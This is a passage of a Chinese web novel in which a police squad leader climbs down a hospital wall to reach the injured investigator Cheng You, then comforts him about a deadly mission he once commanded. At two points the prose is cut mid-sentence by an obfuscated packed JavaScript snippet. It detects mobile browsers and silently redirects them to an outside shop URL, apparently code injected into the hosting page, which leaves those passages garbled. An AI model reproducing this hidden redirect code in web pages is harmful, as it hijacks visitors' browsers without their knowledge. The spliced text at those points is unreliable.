“……就算我没挂好档,车自己往后窜了两下。但是你小子跑什么跑,害我们花这么大力气!” “这次警告啊,下不为例!” ——不对劲! 孙三看到被他们包围在中间的卫其宏嘴唇在动。 他脸上不见了这几天的疯狂,也没有周围警察的轻松。 他神色凝重,接过钥匙, “我要去医院。”他说,“去看调查官。” 孙三的手慢慢停了下来。 ——不对劲。 ——不,不仅今天,这几天都不对劲。 ——这小子现在怎么看也不像得了狂犬病,如果他是装的…… 他打了个寒战,迅速掏出手机,准备拨打总部号码,然而下一秒,手指就悬了屏幕上。 ——我该说什么? ——警察的摩托停在我车前,我去挪,被误会袭警? ——我需要支援,然后李四来送车? ——警方设置路障去抓卫其宏,我和李四被拖晚了? ——哪一步有问题? ——哪一步都没问题。 ……既然没有问题,那打什么电话? 孙三慢慢将电话收了起来。 15:00 苍都,中央情报司总部。 一台已经很少用的传真机里,正在静静向外吐出一张照片。 照片上是个黑色手提箱,样式挺普通,只有锁的造型略特别一些。 照片下方有一行小字。 给我打电话——高尚桢。 15:30 高尚桢的手机响了起来。 同一时间。 ICU病房里,程宥慢慢睁开了眼睛。 50.吊炉鸭与烟 “请问是高尚桢组长吗?”电话那端传来一个男子低沉的声音,“我是中央情报……” “程宥怎么样?” “我想确认……” “程宥怎么样?” “程宥参事官刚刚脱离危险期。” …… ”高尚桢组长?” …… “高组长,你在听吗?” “我在,在……呃,你不用自我介绍了,东西在我手上。” “你怎么拿到的?” “不想回答。” “好吧……那东西在哪里?” “答案取决情报司的态度。” “我们需要研究之后才能告诉你。” “现在就给我答案。” “高组长,请你相信我,这不是一个人能做决定的问题,需要时间讨论。” “多久?” “起码12小时。” “可以,不过我要见程宥。” “对不起,我决定不了。” “这也要开会讨论?” “我想你清楚程宥参事官并不完全隶属于情报司系统,我们要和联合调查处沟通,这需要时间。” “……” “高组长?” “好。我等你消息。” 纪念医院611房间。 高尚桢握着手机,转过身,看向他病床前的同伴们。 盛苒,卫其宏,安月见,还有病床上的界至野。 “程宥没事。” 屋子里霎那一片寂静,随即就是一阵长长的呼气,安月见直接哭了起来,界至野还是说不了话,只端起拳头狠狠砸了下床。 “中情司没有直接给答案,不过,”高尚桢掂了掂手机,“我保证大家明早可以正常工作。” 没人说话,卫其宏眼圈早就红了,他忍着没有让泪掉下了,只是捏了捏嗓子,频频点头。 高尚桢想把手机放进口袋,一下子没攥住,当的掉在地上。 他也没顾上捡,只丢下一句“我去趟洗手间。”就几步走出了病房。 住院部的长廊中人来人往,几位家属正在闲聊,看到一个年轻男人大步流星的走来,他眼睛通红,脸上却在笑。 街上的路人可能不理解,但是这里都是病患家属,大家太明白了。 一个老太太笑呵呵目送他脚步越来越快,最后小跑起来,跟旁边的护工说:“哎,你说这得是多大的好消息啊。” ================== 纪念医院住院部,晚上八点半。 探病的家属都离开了。 611病房里只剩下界至野……还有刚从床底下爬出来,成功躲过门口警员和值班护士的高尚桢。 界至野呼吸已经问题不大,只是说话依旧十分困难,所以只能用眼神表达灵魂疑问。 ——老大,你躲我床下干嘛? ——你掏出个啥?是两段绳子?好像是降落伞的绳子? ——你下午出去买这个啦? ——你买这个干啥?又没买降落伞。 ——哎,不对,你开窗户干啥? ——哎,你看啥,你伸个头往下瞅啥? ——不是,你伸手比量啥呢你? ——你把绳子系我床头干啥,又紧了紧是什么意思? ——你脱夹克衫干啥? ——哎,哎,你不是要,你不是要…… ——哎呀,我X呀,你要去四楼! ——哎呀妈呀,这是六楼啊! ——哎呀,你不是调查官啊,你不行啊!! ——二十多米高啊,掉下去不摔死也得半残,你是要跟我作伴吗? ——纪念医院够忙啦,你就别给人家拉生意了你! 然而他的老大并未听到他绝望的心声,先把长绳在腰间绑好,试了试两端都很结实,又拿起稍短的那条,在床头打了个死结。 界至野再也受不了了,颤巍巍的伸出手要去按床头按钮,准备找护士来阻止疯狂的高组长,然后就看到老大抬起头,投来了死亡凝视。 “你敢动一下,你以后的报销我一律不批!” 界至野:…… 界至野在天性和人性之间撕扯了两秒,还是决定按钮找护士,心里十分悲愤。 ——你TMD就等12个小时又能怎么样!至于拿老子一辈子报销来威胁吗! “老界。”高尚桢上前一把按住他的手,眼睛亮亮的看着他,“你懂吧,一分钟也等不了,就看一眼,一眼就好。” 界至野的手停了下来,高尚桢的眼睛让他想起求婚那天的自己,也是这么容光焕发,一分钟也等不了。 ——不过这个事它真的不行啊,你这样下去就看不到12小时以后了哇! “下面是刚培过的黑土,非常软,我下午过去看了。”老大充满了自信,“摔不下去,摔下去最多坐两天轮椅,不耽误这里。”他点点自己的脑子,紧接着发出致命威胁,“老界,你要喊人我就换个空房间再试,那边底下可不一定是黑土,摔死拉倒,记住都是你害的。” 界至野:…… ——你就摔死吧你个狗日的! 界至野欲哭无泪,只能眼睁睁的他家老大把自己的床推倒窗边抵住,双手抓着绳索,深吸了口气,脚踩着墙壁,一点点将自己放了下去。 之前程宥徒手攀五楼时,望远镜后的高尚桢紧张得心都不会跳了,然而镜前的那个人又矫健又优美,仿佛一只轻捷的羚羊,在山脊间尽情跃动。 这一幕他事后没少回味,然后一个念头就神不知鬼不觉的冒了出来:好像也不是很难,说不准我上我也行…… 这个念头多荒谬他当然知道,很快就被他抛脑后去了,不过显然没抛远,今天他从纪念医院楼下抬头朝四楼看的时候,它又自己长腿溜回来了。 虽然高尚桢一向又急又爆,可他不认为自己是个疯子,那为什么会冒出这个疯子般的想法呢? 结论显然只有一个——这个想法非常合理,对,它一点也不疯。 得出这个结论后,高尚桢趁人不注意,踮起脚,展开手臂,搭上了一楼外边窗台,然后就差点把自己胳膊给抻了。 ——虽然近些年确实用脑比较多,但是我的身手也很行。 ——是这个窗台它不行,太窄,太斜,没有个能受力的地方,不是我不行。 愈发肯定自己行的高组长又研究了半天,确定COS蜘蛛侠是不行了,然后他思维的火花又开始劈里啪啦的打闪了。 ——嗯,如果从下往上不行,那么从上往下呢? 然后他就看到了六楼。 老界……611……411 他就看到411的窗子一直敞开。 ——对了,哈哈,中情司将半个ICU区包场了,虽然不知程宥在哪里,但是411应该是空的,护工来开窗换气。 ——完美! 完成推理的高组长去体育用品商店买了两段伞绳。 按照他完美的推理,从六楼到四楼,SO EASY。 6-4=2。 就像二层楼,普通人着起急来,蹦也蹦下去了对不对? 然而当他在六楼窗外开始验证自己完美推理的时候,发现它存在一点点小瑕疵。 就是和推理中有那么比较细微的出入,这一点细微的出入让他感觉很不好。 ——气快喘不上来了。 ——好像刀子在割手。 ——我明明挑最粗的买的啊,为什么还这么紧这么勒呢? 高尚桢的计划里,他可以两只手交错,一段一段的把自己送下来,可是他现在不太敢放手,感觉一松手就要秃噜下去。 于是他就这么跟腊肠一样的吊在半空中。 他抬头看看六楼窗台,界至野正扒着窗户向下看,可惜黑乎乎的,看不清他脸上的表情。 ——要不还是让他去喊护士吧,丢脸就丢脸,总比我吊在这里好。 ——程宥。 他深吸了一大口气,一狠心,双脚抵墙,左手在眼前,右手在头顶,他伸开右手去抓胸前那截,受伤的膝盖上突然传来一阵跳痛,当下脚一松,没登稳墙,身体随着绳索开始原地打转,团团转中,左脸一下蹭上了墙,疼得他一咧嘴。 ——这个破腿跟我捣乱! ——程宥到底是怎么做到的啊。 ——我看他好像很轻松啊。 高尚桢欲哭无泪,深吸了口气,开始默默给自己打气。 ——坚持,坚持,高尚桢,你快到五楼了,马上就到了。 ——坚持,坚持! 就这么,高组长旋转着,痛苦着,一路降到了四楼。 然后果不其然发现,虽然外窗打开,但是里面有纱窗。 ——还好我买了小刀,哼哼。 他寻思着,咬紧牙关,颤颤巍巍松开右手,低头去兜里拿小刀,然后就看到好像很远很远的地面上,射上来一排手电筒。 纪念医院的保安们正傻呆呆的仰着头往上看。 三天信誓旦旦的声称全城警察都会跟我走的高组长,在这一刻彻底石化了。 他虽然不怕丢脸,但不等于不要脸啊。 跟个风干烤鸭一样吊在半空中被保安们围观的消息,明天就会传遍整个红驼,不,整个西北联区。 我X陈裕理那家伙会笑死吧。 我X明天怎么跟盛苒他们说啊。 我X那个保安你不要乱照,别照我脸! 不管了,别的以后再说。 程宥。 高尚桢咬紧牙关,拿出小刀,弹出刀刃,开始去割纱窗, 不过这看起来很简单的事也远比他他想的难。主要是他左手揪着绳,还因为一条腿疼痛的关系固定不住,身体时不时打点小转,刀子根本用不上力;要命的这个纱窗还是金刚纱的,特别坚固。 他割了半天没割动,差点气死,改割为捅,开始在沙窗上一通乱戳,费了半天力总算弄出个小洞。 就当他准备继续努力的时候,被折磨了太久的左臂终于支持不住,突然间他左臂一松,整个人瞬间向后载去,在楼下保安们的惊呼声中,眼瞅着要摔了下去。 千钧一发之际,有只手闪电般自纱窗中探出,猛的揪住他的胳膊,高组长还没明白怎么回事,只觉得一股大力从前上方惯来,他像个萝卜似的被人一把拔起;下个瞬间,寒光一闪,他系在腰间的绳子已被斩断,没了束缚的身体向前飞去,穿过窗,砰的一声摔在了地上。 他摔得头昏眼花,懵了半天,猛然抬头,张口就要叫程宥,然后发现窗前有人正居高临下的看着他,目光冰冷,正是几天前在急诊室门口,那个一句话就把所有警察赶出去的寸头男。 其实他从六楼往下放绳子的时候,中情司的特工们就发现了。 最开始,看到一截伞绳从窗前悠悠垂下时,的确给大家造成一点小小的紧张。特工们在想什么人这么狗胆包天,明知道参事官被中情司重重保护,居然还敢试图搞刺杀。 紧接着,窗外同时被激活的六台监控器就捕捉到了高尚桢探头探脑往下看的脸。 一名特工看向他们之中级别最高的寸头男,“罗SIR,是高尚桢。” 罗SIR刚接过总部的电话,对现在情况也有所了解,知道红驼刑事组长暂时摆脱嫌疑,不是敌人;可不是敌人不代表他不烦这个人,也不知他要玩什么把戏,当下冷笑一声,“保持监视,看看他到底要干什么。” 他们本来已做好了十分警戒,然后就看到高组长跟个企鹅一样,摇摇晃晃,一路打着转向下放,所有在场的人都沉默了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655812|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有个特工看向罗SIR,小心的问:“我看他好像不一定能坚持到这里,要不要……”下面的话他自己也不知怎么接,要不要帮一下?要不要补一刀? 另外一个特工则陷入迷惘,“他这是要干什么?” 罗SIR冷笑一声,转身去了411,然后三分钟以后,把高组长抓(救)了室内。 此时411室内,有个摔得七荤八素,勉强爬起来的刑事组长,还有个冷眼看他,手指头跃跃欲试的情报司官员。 就在罗SIR准备进一步行动的时候,411门被推开了,有个特工越过高尚桢,在他身边低声说了句什么。 罗SIR停顿三秒,轻嘘口气,以极大的忍耐力冲高组长扬起了下巴,“走吧。” 高尚桢笑了起来,“哪个房间?” =================== 405. ICU护士看着这个一瘸一拐,半张脸蹭出血印的男人,本来担心他会不会情绪过于激动违反ICU的规定,然而他一板一眼的穿防护服,帽子和口罩也戴得规规矩矩,已经到嘴边的提醒就收了回去。 这个探病家属挺小心的呀,她想,然后还是尽职尽责的提醒,“病人需要休息,你只有十分钟时间。” 十分钟这么短。高尚桢暗自想,全忘了原来想的只是——看一眼,看一眼就好。 在监护仪的绿光中,他终于看见了程宥。 他平躺在病床上,身上盖着蓝色的床单。 高尚桢忽然想起了第一次见到他的时候,在旧车回收站的现场,他也是穿着类似颜色的西装,在一堆旧轮胎,老旧部件,和装着尸体的铁柜前,跟自己打招呼。 “程宥,信息处参事。” “我将在这段时间担任刑事组的特别调查官。” 那时候你可没缠着这么多纱布,右胸上也没有插管子。 高尚桢总是想他再见的时候应该干什么,可每一次都强行忍住不去想。 他怕想多了,就实现不了了。 他做得对,所以这一刻实现了。 然而他不敢上前,他只看了一眼,口罩被泪浸湿了。 这下糟了,他模模糊糊的想,我不能跟他说话了,要是呼吸有病毒怎么办?要是感染了怎么办? 他低下头,把脸在肩膀上蹭了蹭。 很慢很慢的接近床边。 程宥醒过来不久,感觉整个人像泡在海里,一会沉下去,一会又浮上来。 光从水面透过来,四周的海亮得刺眼,他半眯着眼,隐约看到阳光不停跳跃,像一条条银色的剑鱼。 然后有一条慢慢的游了过来,围着他转啊转,尾鳍一弯,钩住了他的小指。 小鱼开口说话了,声音被浪拍得直打颤。 “一直没有做自我介绍。” “我是高尚桢,红驼刑事组组长。” “欢迎你加入我们,程宥调查官。” 高尚桢…… 他迷迷糊糊的又睡了过去,再睁开眼,就看到有个男人坐在自己床前,正托着腮看他。 程宥的脑子依然有些混沌,只觉得这张脸看起来很熟,是高……高……。 高什么……,临时代号高某某。 不过高某某脸上没有红肿,他受伤的是腿,医生说不好好休息就会领残疾津贴。 这个位置看不到他的腿,无法判断。 这个人真的是高某某?他的脸怎么不太一样。 战损。 高某某也去打仗了? 不应该,他好像是个平民,不是,没有好像,他就是个平民。 不是一般的平民,是官方。 官方平民高某某。 高某某和他的视线相对,微微的笑了。 “你醒啦?”高某某说。 程宥警惕的盯着他,看到他伸出手,很轻很轻的向自己的头探来。 安全距离的警报拉响了。 程宥想退后,然而大概是因为没力气的缘故,他并没能成功。 然后他眼睁睁的看着丧失了战斗力的自己,被官方平民高某某击中头部。 ……被轻轻拨开了头发。 高某某盯着他的额头看半天,慢慢收回了手,然后就跟条受了伤的狗一样,脑袋耷拉下来。 警报解除。 程宥困惑的看着他,看了一会,又有些犯困。 他想念海里那条小鱼了。 他眼皮开始发沉,就在慢慢阖上的时候,感到自己的右手被轻轻,轻轻的握住了,然后有什么滴了上去,很热,很温,很舒服。 他闭上了眼。 声音沙哑。 “高尚桢,不要哭。” ==================== 纪念医院,停车场。 林律奚坐在加长轿车里,望着那道挂在四楼的身影突然消失在窗后,长长嘘了口气,仰倒在了椅背上。 他惯常的优雅,高傲与尖锐,此时统统丧失殆尽,剩下的只有歪歪扭扭的领带,散开的领口,通红的眼角和胸下颌冒出的短短胡茬。 他从怀里摸出包烟,磕出一根,在座椅与口袋间摸索着去找火机。 ——啪。 小小的火光在对面亮起。 新任保镖俯身向前,为他点燃香烟。 “谢谢。”他的声音又低又哑。 “少爷,要进去看看吗?我可以想办法……” “不必。”林律奚叼着烟,微微阖眼,“情报司的人在,没必要。” 半支烟以后,他再度睁开眼,目光落在他们之间的黑白棋盘,烟雾缭绕中,忽然伸手一推,白色的象沿斜线滑出,将黑色骑士撞出棋盘。 保镖伸手想去捡棋子,他捏着烟蒂,摇头: “不受控制的东西,不需要了。” 51.遇到你实在太好了 红驼警局,刑事组。 电脑屏幕在闪烁,白纸被打印机中吞吞又吐吐,每张办公桌上堆满了各种各样的资料。 写满字的白板静静的伫立在最前方,仿佛从未离开过。 一切又恢复了原样。 包括站在白板前,低头看着手上照片的高组长。 呃,还是前几天有点不一样,他这段时间冒出的胡子茬被刮得很干净,头发也剪短了,整个人利落又帅气,和两天前邋里邋遢的那个家伙判若两人——右颊伤的淤青倒还健在。 高尚桢一张接一张翻动着手里的照片。他动作很慢,脸上看不出任何表情,不时停顿,过了很久才递给旁边头发差不多同样短的安月见。 安月见接过厚厚的照片,尽管她曾看过鉴证组取证,然而如今一切纤毫毕现的呈现到了眼前,她还是被照片上的惨烈景象镇住了。 这是爆炸后的雪佛兰照片。 右车门已经完全崩没了,车底金属板向外翻卷,副驾驶的座椅被炸得只剩部分骨架,就连右侧引擎盖也高高掀了起来,挡风玻璃全部脱落,碎片散落一地。 相较惨烈的副驾驶,主驾驶好一些,车门尚在,只是凹陷了下去。 大致完整的司机座位上,暗红的血染透了靠近副驾的一侧;弹出的安全气囊被熏得焦黑,气囊表面与顶棚上到处都是喷溅出的红色。 这是调查官的血。 意识到这一点的安月见,手猛抖了一下。 调查官没事。他已转入了普通病房。 他没事。 ”……爆心点在副驾驶座底部,□□。”卫其宏在旁边低头读着报告,“微型压电感应器,车门打开后1.5秒爆炸。” 1.5秒。 高尚桢抬起头,深嘘了口气,片刻后重又开口:“现场监控发过来了吧?有什么发现没有?” 卫其宏和安月见对望一眼,同时有点沉重的摇头。 “街上倒是有摄像头。案发时间段,恰好有辆垃圾车过来收垃圾,挡住了。然后你也知道,另一侧……” “我知道,是围墙。” 高尚桢揉揉了额角,出乎意料的没有像往常一样,痛斥监控组一帮废柴,只是很平静的再次接受了“监控里没有任何发现”这个事实。 “组长,我们有个想法。”安月见看了一眼他,小心翼翼的说,“我和卫师兄讨论过,觉得不一定是和眼下的案子有关,是不是要把最近这段时间出狱的罪犯查一下;哪怕没有出狱的,只要您以前抓起来的那些,都查一下。” 高尚桢看着两人,“你们觉得是冲我来的?” 两名年轻的刑警被问愣了,组长一开门炸弹就被引爆,不是冲他去的难道是冲别人? “目标是程宥。”高尚桢简单扼要的下了结论。 经过这些日子的锤炼,卫其宏性格沉稳了很多,但是面对组长的结论,还是很快表示了不同看法,“这个炸弹是在副驾驶座位底下。” “你说得对。爆炸波向右外侧扩散,这个放炸弹的人只想杀副驾驶。”出乎意料的,高尚桢肯定他的话,声音渐渐低了下去,“去郑历秋那里的时候,确实是我开的;不过回来的时候,我……我让他开车。” 他滚了下喉咙,“原本副驾驶上的应该是他。这很正常,本来就是我的车。” 这条新信息令两名刑警面面相觑。 安月见鼓足勇气确认,“调查官才来三个月吧。”她咽下剩下半句话没讲——我还没见调查官跟任何人说话声音高过,不像您,界大哥总说您外号叫红驼高阎王,仇人能塞满俩集装箱。 高尚桢嗯了一声,“所以必然和这个案子有关。” ——牙。 可能,朗基努斯之枪的指挥官无疑蛇矛的头号仇人。 ——还有吗? ——这案子里的其他人? ——觉得被放弃的人? ——认出程宥的人? ——有其他理由想杀程宥的人? “暂时以目标是程宥为前提,那么凶手必然看到了是我在开车,然后趁我们去和郑历秋谈话的时候埋下炸弹。”高尚桢沉吟了一下,下了命令。“调取案发当天我们沿途路线的全部监控,重点监视一直尾随的车辆。” “现在,”他看看两名低头记录的刑警,露出笑容,“我们去看他吧。” ------------------ 纪念医院 605 VIP病房。 程宥的理智在告诉他爆炸发生在七天前,不过他的眼睛在说,七个月都不止。 他的目光从安月见奇短的头发上扫过。 ——从10月份开始,她以每3.5天一次频率跟盛苒抱怨,说自己头发处在半长不长的尴尬状态,她要变成一个长发飘飘的小仙女。 ——她还搜索了促进头发生长的洗发水。 ——长发容易被敌人攻击,不过考虑到她可以盘起来,所以我并没有提出建议。 ——不过现在她的头发为什么比卫其宏还短? 卫其宏。 他眨了眨眼,继续扫视房间,发现年轻刑警正坐在那里看着大家笑。 ——他的话变少了。 ——为什么? ——是因为盛苒在这里,他一向比较惧怕盛苒。 说起盛苒…… 他又瞟了眼盛苒手里拄着的东西。 ——这是高尚桢之前的那根拐杖。 ——橡木,分量较重。 ——不太适合她,还是选择碳纤维材质比较好。 ——不过她的脚怎么了?这周内与人搏斗了吗? 程宥感到除了界至野之外,调查组的每个人都有点怪。 ——不,界至野最怪。 ——1小时10分钟内,他两只眼睛始终保持直视前方的状态,对高尚桢完全视而不见。 ——奇怪。 至于高尚桢……程宥这几天已经看够了。 不用瞧,他就知道高尚桢正拉着护士没完没了,护士都被问烦了,“不行,病人不能吃这个,这个也不行,这个?这个更不行!不行,不行!……哎我说你这个家属怎么这么烦,我都说一万次了,不能吃!猪肺尤其不能吃!” 程宥望向天花板。 ——又在宣传他奶奶以形补形的错误理论了。 ——他应该纠正自己不是家属。 高尚桢悻悻的拎着一堆保温饭盒回到病房,很礼貌的对探视警官们下了逐客令,“有点晚了,程宥已经很累了,大家该回去回去吧。” 有人替他说累的程宥:…… 看着挂钟显示五点十分的大家:…… 高尚桢又从饭盒里挑出几个,塞给界至野,很诚恳的说,“老界,对不起啊,让你受惊了。这是炖骨头,还有红烧排骨,你带回病房和嫂子分一下。” 界至野目光直视前方,对他不理不睬,内心疯狂刷屏。 ——不是,老大,我这周才停了流食你就让我啃骨头?你是不是狠点? ——还是你打算杀人灭口? ——你杀人灭口也没有用你,医院保安都传遍了,有个疯子从六楼吊到四楼,然后嗖的一声就消失了,都在说被外星人给撸走了。 ——高阎王啊高阎王,你就折腾吧你,反正我表妹夫会收拾你。 ——我等着看你好戏。 界至野慢慢悠悠的从沙发上站起来,拎起俩饭盒,溜达溜达的出了病房。 盛苒笑了一下,跟程宥说了声再见,拄着拐杖跟在后面。 卫其宏起身,看看高尚桢,“组长,我先去停车场开车,回来接你……”后面的话自动消了声。 他看到高尚桢打开一个饭盒,一屁股坐上沙发,又打开第二个饭盒,看架势是准备开吃。 ……组长还要再留一会吗?那我也…… “你们快点走。”高尚桢挥了挥手,“不要打扰病人休息。” 然后他就埋头吃了起来。 卫其宏问他,“组长你要晚点走?那你怎么回家?” ——这个时间不好打车啊,组长现在没车,他想,我得送他。 高尚桢夹起块红烧猪肺,“不用你管,走你的就是了。” 卫其宏:…… 安月见:…… 病床上目睹一切的程宥:…… 病房里终于只剩下两个人了,高组长在沙发上埋头大嚼,吃得特别香,一边吃一边开始给程宥讲起了他的白蚁计划。 他越讲越得意,当讲起酒吧老板一把揪住中情司探员,说老子以前是警察,现在是警察老子的时候,笑得差点没喷饭——真正意义上的喷饭。他把自己呛得一通咳嗽,连喝了好几口谁才缓过这口气。 被迫在笑声中接受一切信息的程宥:…… 他大脑宕机了十秒,开始慢慢重启。 ——等等,他在说什么。 ——白蚁行动? ——他当着我这个中情司雇员的面,讲述自己怎么滥用全城警力戏耍中情司的特别行动队。 ——这是在坦白,来换取从宽处理? ——但是他笑得气管都进了异物,又不像要坦白的样子。 ——异物已经排出,很好。 ——所以现在,丢失八年的目标物品已经…… 他这边程序还没走完,高尚桢又端起一盒清炒牛肋骨,开始一根一根的嚼了起来,嘴里还没闲着,“你知道为什么这个计划会成功?”他笑着看程宥。 程宥的思绪被打乱了。 他看向高尚桢,看着冒着油光的肋骨和同样亮晶晶的手指,突然觉得有那么一点点的饿。 他很快抬起眼皮,重新望向没有这个人的天花板。 ——虽然特别行动队能力很强,但是被高尚桢击败,理论上也不是不可能。 ——毕竟全城警察都…… “其实根子不在全城警察有多帮忙。”高尚桢吸溜口汤,“问题出在中情司本身。” 他嗤笑了下,“红驼是我的地盘,他们插了支行动小队在这儿,当我高尚桢是傻子不知道?只是以前没惹我而已。” 他拿着勺子朝外面一点,“我知道得很清楚。他们一共六个人,门外那两位保护你的就是本地行动队的队员,一个才加入半年,另一个在这里两年半。” “一共六个,两个守着你;六减二,剩下四个。四对四,人手紧张啊。” 他又在笑,目光闪闪:“你在病床上还帮我,程宥,谢了。” “你人真好。” ——那两名特工守在门口是因为我受伤。 ——这是标准保护程序。 被感谢提供了巨大帮助的中情司高级参事官:…… 他扫了一眼高尚桢,很快又把目光投回天花板,完全不看这个企图诬陷他的人。 高尚桢好像没发现,继续开心的从肋骨上撕肉条,“情报司的人行动都一个模式:任务优先。” “拿跟踪卫其宏的那个探员来说,他要跟上卫其宏,车就得在大街上慢慢开,要不任务就失败;但是他要慢慢开,就甩不掉警察,任务还是失败。” “他两难了,怎么办?没法办,只能呼叫支援,结果你看到了。”高尚桢放下吃了几口的骨头和勺子,拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657301|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消毒纸巾擦净手,起身来到床头,蹲下身望着程宥,“任务最终失败。” “不是他的错。” 他也许在炫耀,程宥想,但是不知道为什么,话里有种东西让他心脏一点点的收紧。 “在这样的情况下,任务必然失败。谁也没有办法。” “因为环境就是那样,无论他是谁,能力有多强,决定多正确。” “我们是人不是神。” 很慢的,很小心,高尚桢握住了程宥在蓝被单之外的手,注视着针头在他手上的各种淤青。 程宥想抽回手,可手指微微动了一下,就无力的垂了下去。 ——他又在使用他的肢体语言了。 程宥想。 ——他……是在说特别行动队吗? “程宥。”高尚桢将那只骨节分明的手团在手心,仿佛强行忍耐了什么似的,低声开口,“上次审过林律奚之后,我查过42年1月恒南雪脊的气候。” 掌心里的手抽动一下,随即冻住,毫无生气的僵在原地。 高尚桢轻轻搓着它,不停的搓,像要把冻在雪地的小猫捂化似的,“1月6日凌晨,爆发性气旋过境恒南雪脊,比预告提前9个小时。”他一字一字背诵着过去的报道,“气旋引发了连锁反应,雪崩从北坡蔓延至主谷。用于气象监测的红外,雷达和热感设备全线失效。” “……直到1月14日,雪崩才完全停止。” 猫冻得太久,任凭他的掌心怎么火热,仍旧一动不动,然而他只是不停不停的搓,将自己的体温不断的送过去。 “换我在那种情况下,就算被人用枪抵住脑袋,我也不会让手下人出动。” 他朝合拢的掌心里呵了口气,预期肯定。“我不会。我不会送盛苒和老界他们去送死。当然,也许有奇迹呢。”他讽刺的笑了笑,“他们不仅没死,还成功完成任务,延迟行动的决定完全错误。” “但是。”他顿了顿,一瞬仿佛置身于狂风肆虐的雪脊间,听到连绵不绝的冰层破裂声。 “不管他们最后死还是活,在命令他们出动的时候,我已亲手将他们送上了死刑场。” “你明白这一点的。”他感到手里的猫动了一下,不禁微笑起来,“程指挥官。” 程指挥官。 程宥一动不动,这一刻他好像失去了全部的感知。 只剩下右手传来的一丝热度在提醒他,他并没有死去。 “不完全是那样。”隔了很久,很久之后,他慢慢开口,声音又慢又哑,轻轻颤动着,和平时迥然不同。 “朗基努斯之枪必须出动。” ————朗基努斯之枪惹出的乱子,你们必须自己收拾! “蛇矛的首领阮烈,是朗基努斯之枪的前队员,36年因伤退役。” “这是我的责任,我们必须行动。” 什么? 高尚桢一震,突然想起了绝密档案里那具被涂黑的匪徒尸体,1号匪徒,没有了右腿。 原来是这样。 他的心沉了下去。 也就是说……程宥亲自下令击毙了他的队友。 ==================== 气旋过去了。 雪崩也过去了。 那片铜矿区重新露出轮廓,从望远镜里望去,它像被削去一层皮,整片斜坡被灰白的冰屑和新雪覆盖了。 冰与雪之间,依稀冒出些小点。 他调整着望远镜的焦点,认真观察那些小点,落在其中一个拄着滑雪杖的黑点时,拧动镜头的手指忽然凝住。 各种通讯自耳机里传来。 “一号狙击手就位,距离1622米,命中目标把握率:91%。” “二号狙击手就位,距离1225米,命中目标了把握率:92%。” “三号狙击手到位,距离1311米,命中目标把握率:92%。” “第一小组准备就绪。第一轮狙击过后,将自南向发起强攻。” “指挥官,请下令。” 空气里只剩下电流的微响。 “指挥官,请下令。” “指挥官,请下令。” 第三声催促时时,他的手终于从望远镜上垂了下来,然而目光仍停在那一点上。 “发动攻击。” 那之后怎么样,他有点不记得了。 记忆里就剩下满地的雪,还有横七竖八的尸体。 他站在那残缺的尸体前,发现即使失去了生命,它依旧逐渐在雪地上漫出殷红的颜色。 他长久的静立着,慢慢回过头,去看天边如血残阳。 他又觉得冷了。 他轻轻缩了缩,忽然觉得手被什么温热的东西拽住,于是他在夕阳中回过头,看到一双映满阳光的,温暖的眼睛。 “有你做指挥官太好了。”高尚桢说,双手收紧,将那只手更加严密的捂住。 “程宥。” “你保护了你的队员。” “你没有等到雪崩完全停止,在一切恢复前的两天前就已行动。” “你知道老界受伤那天,我在路上想什么?” “要是被割喉的是我就好了。” “老界救过我,没有他,我已经死三回了。” “可如果看到老界在杀人,我会怎么办?” “我会击毙他,毫不犹豫。” “你的决定完全正确,程宥指挥官。” “遇到你实在是太好了,你的队员这么想。” “我们这里的人这么想。” “我这么想。”